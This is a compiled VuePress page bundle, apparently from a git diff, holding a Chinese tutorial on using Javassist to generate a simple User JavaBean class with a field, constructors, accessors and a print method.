punctuation"}},[s._v(";")]),s._v("\nctMethod"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setBody")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"{"')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"System.out.println(name);"')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"}"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\nctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("addMethod")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("ctMethod"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br")])]),t("p",[s._v("添加printName()方法使用了Javassist中的CtMethod类,创建CtMethod类的对象时,第一个参数为方法的返回类型,第二个参数为方法的名称printName,第三个参数为方法的参数类型数组,第四个参数表示将生成的方法添加到哪个类。")]),s._v(" "),t("p",[s._v("接下来,调用CtMethod的setModifiers()方法来设置printName()方法的访问修饰符,这里将其设置为public。紧接着为printName()方法设置方法体,在方法体中简单的在命令行打印成员变量name。")]),s._v(" "),t("p",[s._v("最后通过CtClass的addMethod()方法将生成的printName方法添加到User类中。")]),s._v(" "),t("p",[s._v("这段代码的效果如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("printName")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("this")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("name"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br")])]),t("h2",{attrs:{id:"完整案例"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#完整案例"}},[s._v("#")]),s._v(" 完整案例")]),s._v(" "),t("p",[s._v("为了方便小伙伴们更加清晰的看到完整的源代码,这里我也将完整的源代码贴出来,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * @author binghe (公众号:冰河技术)\n * @version 1.0.0\n * @description 使用Javassist生成一个User类, 并测试\n */")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CreateUserClass")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * 使用Javassist创建一个User对象\n */")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("static")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("createUser")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("throws")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Exception")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//使用默认的ClassPool")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ClassPool")]),s._v(" pool "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ClassPool")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getDefault")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//1.创建一个空类")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtClass")]),s._v(" ctClass "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" pool"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("makeClass")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"io.binghe.bytecode.javassist.bean.User"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//2.新增一个字段 private String name; 字段的名称为name")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtField")]),s._v(" param "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtField")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("pool"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("get")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"java.lang.String"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"name"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//设置访问修饰符为private")]),s._v("\n param"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setModifiers")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Modifier")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("PRIVATE")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//设置字段的初始值为binghe")]),s._v("\n ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("addField")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("param"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtField"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("Initializer")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("constant")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"binghe"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//3.添加无参的构造函数")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtConstructor")]),s._v(" constructor "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtConstructor")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtClass")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n constructor"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setBody")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"{"')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('" $0.name = \\"binghe\\"; "')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"}"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("addConstructor")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("constructor"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//4.添加有参构造函数")]),s._v("\n constructor "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtConstructor")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtClass")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("pool"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("get")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"java.lang.String"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n constructor"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setBody")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"{"')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"$0.name = $1;"')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"}"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("addConstructor")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("constructor"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//5.添加getter和setter方法")]),s._v("\n ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("addMethod")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtNewMethod")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setter")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"setName"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" param"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("addMethod")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtNewMethod")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getter")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"getName"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" param"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//6.创建一个输出name的方法")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtMethod")]),s._v(" ctMethod "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtMethod")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtClass")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("voidType"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"printName"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtClass")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n ctMethod"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setModifiers")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Modifier")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("PUBLIC")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n ctMethod"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setBody")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"{"')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"System.out.println(name);"')]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"}"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("addMethod")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("ctMethod"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("writeFile")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br"),t("span",{staticClass:"line-number"},[s._v("11")]),t("br"),t("span",{staticClass:"line-number"},[s._v("12")]),t("br"),t("span",{staticClass:"line-number"},[s._v("13")]),t("br"),t("span",{staticClass:"line-number"},[s._v("14")]),t("br"),t("span",{staticClass:"line-number"},[s._v("15")]),t("br"),t("span",{staticClass:"line-number"},[s._v("16")]),t("br"),t("span",{staticClass:"line-number"},[s._v("17")]),t("br"),t("span",{staticClass:"line-number"},[s._v("18")]),t("br"),t("span",{staticClass:"line-number"},[s._v("19")]),t("br"),t("span",{staticClass:"line-number"},[s._v("20")]),t("br"),t("span",{staticClass:"line-number"},[s._v("21")]),t("br"),t("span",{staticClass:"line-number"},[s._v("22")]),t("br"),t("span",{staticClass:"line-number"},[s._v("23")]),t("br"),t("span",{staticClass:"line-number"},[s._v("24")]),t("br"),t("span",{staticClass:"line-number"},[s._v("25")]),t("br"),t("span",{staticClass:"line-number"},[s._v("26")]),t("br"),t("span",{staticClass:"line-number"},[s._v("27")]),t("br"),t("span",{staticClass:"line-number"},[s._v("28")]),t("br"),t("span",{staticClass:"line-number"},[s._v("29")]),t("br"),t("span",{staticClass:"line-number"},[s._v("30")]),t("br"),t("span",{staticClass:"line-number"},[s._v("31")]),t("br"),t("span",{staticClass:"line-number"},[s._v("32")]),t("br"),t("span",{staticClass:"line-number"},[s._v("33")]),t("br"),t("span",{staticClass:"line-number"},[s._v("34")]),t("br"),t("span",{staticClass:"line-number"},[s._v("35")]),t("br"),t("span",{staticClass:"line-number"},[s._v("36")]),t("br"),t("span",{staticClass:"line-number"},[s._v("37")]),t("br"),t("span",{staticClass:"line-number"},[s._v("38")]),t("br"),t("span",{staticClass:"line-number"},[s._v("39")]),t("br"),t("span",{staticClass:"line-number"},[s._v("40")]),t("br"),t("span",{staticClass:"line-number"},[s._v("41")]),t("br"),t("span",{staticClass:"line-number"},[s._v("42")]),t("br"),t("span",{staticClass:"line-number"},[s._v("43")]),t("br"),t("span",{staticClass:"line-number"},[s._v("44")]),t("br"),t("span",{staticClass:"line-number"},[s._v("45")]),t("br"),t("span",{staticClass:"line-number"},[s._v("46")]),t("br"),t("span",{staticClass:"line-number"},[s._v("47")]),t("br"),t("span",{staticClass:"line-number"},[s._v("48")]),t("br"),t("span",{staticClass:"line-number"},[s._v("49")]),t("br"),t("span",{staticClass:"line-number"},[s._v("50")]),t("br"),t("span",{staticClass:"line-number"},[s._v("51")]),t("br"),t("span",{staticClass:"line-number"},[s._v("52")]),t("br"),t("span",{staticClass:"line-number"},[s._v("53")]),t("br")])]),t("h2",{attrs:{id:"效果演示"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#效果演示"}},[s._v("#")]),s._v(" 效果演示")]),s._v(" "),t("p",[s._v("编写main方法,直接调用CreateUserClass类的createUser()方法,如下所示。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("static")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("main")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),s._v(" args"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("throws")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Exception")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CreateUserClass")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("createUser")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br")])]),t("p",[s._v("运行main()方法后,生成了我们想要的User类的字节码,如下所示。")]),s._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"图片","data-src":"https://img-blog.csdnimg.cn/img_convert/68dde8cf21386ea83a1a23c198d32404.png",loading:"lazy"}})]),s._v(" "),t("p",[s._v("效果符合我们的预期。")]),s._v(" "),t("h2",{attrs:{id:"案例总结"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#案例总结"}},[s._v("#")]),s._v(" 案例总结")]),s._v(" "),t("p",[s._v("我们使用Javassist动态生成了符合预期的User类对象,通过本文的学习,我们掌握了如何使用Javassist生成JavaBean对象。是不是很简单呢?小伙伴们赶紧打开IDEA搞起来吧。")]),s._v(" "),t("h2",{attrs:{id:"附录"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#附录"}},[s._v("#")]),s._v(" 附录")]),s._v(" "),t("p",[s._v("文中涉及到了Javassist中方法内部的引用变量"),t("code",[s._v("$0")]),s._v("和 "),t("code",[s._v("$1")]),s._v(" , 在Javassist中,还有一些其他的方法内部引用变量,冰河将其进行了总结,以方便大家学习。")]),s._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"图片","data-src":"https://img-blog.csdnimg.cn/img_convert/07cd1d45841adc37caccaa370e78084c.png",loading:"lazy"}})]),s._v(" "),t("p",[t("strong",[s._v("好了,今天就到这儿吧,我是冰河,我们下期见~~")])]),s._v(" "),t("h2",{attrs:{id:"写在最后"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#写在最后"}},[s._v("#")]),s._v(" 写在最后")]),s._v(" "),t("p",[t("strong",[s._v("如果你想进大厂,想升职加薪,或者对自己现有的工作比较迷茫,都可以私信我交流,希望我的一些经历能够帮助到大家~~")])]),s._v(" "),t("blockquote",[t("p",[s._v("如果你觉得冰河写的还不错,请微信搜索并关注「 "),t("strong",[s._v("冰河技术")]),s._v(" 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 "),t("strong",[s._v("冰河技术")]),s._v(" 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 "),t("strong",[s._v("冰河技术")]),s._v(" 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 "),t("strong",[s._v("冰河技术")]),s._v(" 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!")])]),s._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/20200906013715889.png",loading:"lazy"}})])])}),[],!1,null,null,null);t.default=e.exports}}]); \ No newline at end of file +(window.webpackJsonp=window.webpackJsonp||[]).push([[341],{631:function(s,t,a){"use strict";a.r(t);var n=a(7),e=Object(n.a)({},(function(){var s=this,t=s._self._c;return 